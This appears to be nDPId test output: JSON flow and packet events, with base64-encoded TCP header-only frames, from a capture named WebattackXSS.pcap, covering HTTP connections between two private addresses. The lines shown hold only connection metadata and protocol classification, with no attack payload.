+00432{"flow_id":517,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7360,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347851,"pkt_ts_usec":858115,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0OT9AAEAGipnAqAoyrBAAAQBQgh6m5yHqp0N0BoARAOMzCwAAAQEICgPmGNUBPEdh"} +00432{"flow_id":517,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7361,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347851,"pkt_ts_usec":858638,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Nf5AAD4Gj9qsEAABwKgKMoIeAFCnQ3QGpuch64AQAOUzCQAAAQEICgE8R2ED5hjV"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7365,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":521,"flow_packet_id":1,"flow_first_seen":1499347852742,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33378,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":521,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7365,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347852,"pkt_ts_usec":742641,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA87IFAAD4G2U6sEAABwKgKMoJiAFDnuKS\/AAAAAKACchAGXwAAAgQFtAQCCAoBPEg+AAAAAAEDAwc="} +00444{"flow_id":521,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7366,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347852,"pkt_ts_usec":742791,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgmLb7idG57ikwKAScSDmbwAAAgQFtAQCCAoD5hmzATxIPgEDAwc="} +00432{"flow_id":521,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7367,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347852,"pkt_ts_usec":743464,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07IJAAD4G2VWsEAABwKgKMoJiAFDnuKTA2+4nR4AQAOWFdwAAAQEICgE8SD4D5hmz"} +00432{"flow_id":518,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7371,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347852,"pkt_ts_usec":857986,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0TM1AAD4GeQusEAABwKgKMoIsAFDM8A+MyDSZnoARAOXb7QAAAQEICgE8SFsD5hS0"} +00432{"flow_id":518,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7372,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347852,"pkt_ts_usec":858202,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0gFFAAEAGQ4fAqAoyrBAAAQBQgizINJmezPAPjYARAOPW0wAAAQEICgPmGc8BPEhb"} +00432{"flow_id":518,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7373,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347852,"pkt_ts_usec":858759,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0TM5AAD4GeQqsEAABwKgKMoIsAFDM8A+NyDSZn4AQAOXW0QAAAQEICgE8SFsD5hnP"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7380,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":479,"flow_packet_id":6,"flow_first_seen":1499347779333,"flow_last_seen":1499347784836,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60842,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7380,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":479,"flow_packet_id":6,"flow_first_seen":1499347779333,"flow_last_seen":1499347784836,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60842,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7380,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":480,"flow_packet_id":6,"flow_first_seen":1499347780605,"flow_last_seen":1499347785836,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60856,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7380,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":480,"flow_packet_id":6,"flow_first_seen":1499347780605,"flow_last_seen":1499347785836,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60856,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7380,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":481,"flow_packet_id":6,"flow_first_seen":1499347783176,"flow_last_seen":1499347788836,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60882,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7380,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":481,"flow_packet_id":6,"flow_first_seen":1499347783176,"flow_last_seen":1499347788836,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60882,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7380,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":482,"flow_packet_id":6,"flow_first_seen":1499347784519,"flow_last_seen":1499347789837,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60896,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7380,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":482,"flow_packet_id":6,"flow_first_seen":1499347784519,"flow_last_seen":1499347789837,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60896,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7380,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":483,"flow_packet_id":6,"flow_first_seen":1499347787097,"flow_last_seen":1499347792837,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60922,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7380,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":483,"flow_packet_id":6,"flow_first_seen":1499347787097,"flow_last_seen":1499347792837,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60922,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7380,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":484,"flow_packet_id":6,"flow_first_seen":1499347788375,"flow_last_seen":1499347793837,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60936,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7380,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":484,"flow_packet_id":6,"flow_first_seen":1499347788375,"flow_last_seen":1499347793837,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60936,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":7380,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":485,"flow_packet_id":6,"flow_first_seen":1499347789640,"flow_last_seen":1499347794837,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60950,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":7380,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":485,"flow_packet_id":6,"flow_first_seen":1499347789640,"flow_last_seen":1499347794837,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60950,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7383,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":522,"flow_packet_id":1,"flow_first_seen":1499347855324,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33404,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":522,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7383,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347855,"pkt_ts_usec":324591,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA82qpAAD4G6yWsEAABwKgKMoJ8AFBnHpBuAAAAAKACchCYqgAAAgQFtAQCCAoBPErEAAAAAAEDAwc="} +00445{"flow_id":522,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7384,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347855,"pkt_ts_usec":324722,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgnxQBHT\/Zx6Qb6AScSC0ZwAAAgQFtAQCCAoD5hw4ATxKxAEDAwc="} +00432{"flow_id":522,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7385,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347855,"pkt_ts_usec":325467,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02qtAAD4G6yysEAABwKgKMoJ8AFBnHpBvUAR1AIAQAOVTbwAAAQEICgE8SsQD5hw4"} +00433{"flow_id":519,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7389,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347855,"pkt_ts_usec":858361,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0OTFAAD4GjKesEAABwKgKMoJGAFCA5HzrW\/GyJoARAOUIyQAAAQEICgE8S0kD5hc5"} +00432{"flow_id":519,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7390,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347855,"pkt_ts_usec":858581,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0rphAAEAGFUDAqAoyrBAAAQBQgkZb8bImgOR87IARAOMDRQAAAQEICgPmHL4BPEtJ"} +00433{"flow_id":519,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7391,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347855,"pkt_ts_usec":859317,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0OTJAAD4GjKasEAABwKgKMoJGAFCA5HzsW\/GyJ4AQAOUDQwAAAQEICgE8S0kD5hy+"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7395,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":523,"flow_packet_id":1,"flow_first_seen":1499347856593,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33418,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":523,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7395,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347856,"pkt_ts_usec":593088,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8fnJAAD4GR16sEAABwKgKMoKKAFBRAjJzAAAAAKACchALdwAAAgQFtAQCCAoBPEwBAAAAAAEDAwc="} +00444{"flow_id":523,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7396,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347856,"pkt_ts_usec":593188,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgooY0Yx1UQIydKAScSBFtAAAAgQFtAQCCAoD5h11ATxMAQEDAwc="} +00432{"flow_id":523,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7397,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347856,"pkt_ts_usec":593779,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0fnNAAD4GR2WsEAABwKgKMoKKAFBRAjJ0GNGMdoAQAOXkuwAAAQEICgE8TAED5h11"} +00432{"flow_id":520,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7401,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347856,"pkt_ts_usec":858446,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0d+ZAAD4GTfKsEAABwKgKMoJUAFCuljDn9vljboARAOXYhQAAAQEICgE8TEMD5hh2"} +00432{"flow_id":520,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7402,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347856,"pkt_ts_usec":858666,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0ftZAAEAGRQLAqAoyrBAAAQBQglT2+WNurpYw6IARAOPTRAAAAQEICgPmHbgBPExD"} +00432{"flow_id":520,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7403,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347856,"pkt_ts_usec":859220,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0d+dAAD4GTfGsEAABwKgKMoJUAFCuljDo9vljb4AQAOXTQgAAAQEICgE8TEMD5h24"} +00432{"flow_id":521,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7407,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347857,"pkt_ts_usec":859229,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07INAAD4G2VSsEAABwKgKMoJiAFDnuKTA2+4nR4ARAOWAdwAAAQEICgE8TT0D5hmz"} +00432{"flow_id":521,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7408,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347857,"pkt_ts_usec":859481,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0OfVAAEAGiePAqAoyrBAAAQBQgmLb7idH57ikwYARAON7eQAAAQEICgPmHrIBPE09"} +00432{"flow_id":521,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7409,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347857,"pkt_ts_usec":860196,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07IRAAD4G2VOsEAABwKgKMoJiAFDnuKTB2+4nSIAQAOV7dgAAAQEICgE8TT4D5h6y"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7416,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":524,"flow_packet_id":1,"flow_first_seen":1499347859192,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33444,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":524,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7416,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347859,"pkt_ts_usec":192109,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8PBpAAD4GibasEAABwKgKMoKkAFB0dnKRAAAAAKACchClQAAAAgQFtAQCCAoBPE6LAAAAAAEDAwc="} +00446{"flow_id":524,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7417,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347859,"pkt_ts_usec":192232,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgqTwonDidHZykqAScSAgtQAAAgQFtAQCCAoD5h\/\/ATxOiwEDAwc="} +00435{"flow_id":524,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7418,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347859,"pkt_ts_usec":192997,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0PBtAAD4Gib2sEAABwKgKMoKkAFB0dnKS8KJw44AQAOW\/vAAAAQEICgE8TosD5h\/\/"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7425,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":525,"flow_packet_id":1,"flow_first_seen":1499347860489,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33458,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":525,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7425,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347860,"pkt_ts_usec":489399,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA842JAAD4G4m2sEAABwKgKMoKyAFDBtqytAAAAAKACchAckgAAAgQFtAQCCAoBPE\/PAAAAAAEDAwc="} +00445{"flow_id":525,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7426,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347860,"pkt_ts_usec":489541,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQgrJy9x5\/wbasrqAScSBm0QAAAgQFtAQCCAoD5iFDATxPzwEDAwc="} +00432{"flow_id":525,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7427,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347860,"pkt_ts_usec":490297,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA042NAAD4G4nSsEAABwKgKMoKyAFDBtqyucvcegIAQAOUF2QAAAQEICgE8T88D5iFD"} +00432{"flow_id":522,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7431,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347860,"pkt_ts_usec":859401,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02qxAAD4G6yusEAABwKgKMoJ8AFBnHpBvUAR1AIARAOVOBwAAAQEICgE8UCsD5hw4"} +00432{"flow_id":522,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7432,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347860,"pkt_ts_usec":859621,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0VKBAAEAGbzjAqAoyrBAAAQBQgnxQBHUAZx6QcIARAONIoAAAAQEICgPmIaABPFAr"} +00432{"flow_id":522,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7433,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347860,"pkt_ts_usec":860382,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02q1AAD4G6yqsEAABwKgKMoJ8AFBnHpBwUAR1AYAQAOVInQAAAQEICgE8UCwD5iGg"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7437,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":526,"flow_packet_id":1,"flow_first_seen":1499347861783,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33472,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 